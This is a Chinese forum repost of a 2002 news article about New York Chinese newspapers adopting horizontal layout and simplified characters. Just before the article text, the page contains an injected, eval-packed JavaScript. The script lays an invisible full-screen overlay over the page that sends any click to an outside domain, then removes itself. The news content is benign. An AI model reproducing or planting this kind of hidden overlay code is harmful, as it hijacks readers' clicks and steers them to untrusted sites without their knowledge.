滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 美国中文报纸的世界已经颠倒过来了 [打印本页]

作者: Tag 时间: 2002-3-26 16:56
标题: 美国中文报纸的世界已经颠倒过来了
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国三大中文报纸从竖排改横排
人民网3月26日讯 “美国中文报纸的世界已经颠倒过来了”。25日出版的《纽约时报》用这样的语句开头，报道当地几家中文报纸摈弃传统的竖排版式，改用西式横排文字的消息。
近几个月来，纽约的三家中文报纸《侨报》、《星岛日报》、《世界日报》相继改版。《侨报》开始使用简体字，《星岛日报》和《世界日报》也抛弃了传统的从右到左的竖排版式，改用英文式的从左到右的横排体。
对此，习惯看竖排报纸的台湾读者抱怨：横排后，找不到自己想要的内容了。但来自大陆的移民有些不习惯竖排体兼繁体字，过去索性不看竖排报纸。
由台湾财团控制的《世界日报》说，现在，他们的读者中，大陆、台湾移民各半。之所以改版，是因为报社使用的计算机软件来自北京；另外，英文名称也比较容易插到横排的版面中。
文章引用《侨报》社长范东升的说法：“有些读者抱怨我们使用简体字是不尊重他们。有些读者说，简体字太难看了。”不过，改版后《侨报》销量增加了百分之二十。《星岛日报》管理层表示，他们暂时不打算采用简体字，不过，“不保证以后不用。大陆来的移民很多，他们是我们新的读者群。”
对当地中文报纸的变化，曼哈顿一位姓潘的律师感到兴奋。潘先生本人生在中国，孩子在新泽西州长大。在他看来，竖排属于老一代。“如果我们想让孩子对中文感兴趣，我们总要把中文弄得容易些。”（高福源）

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/)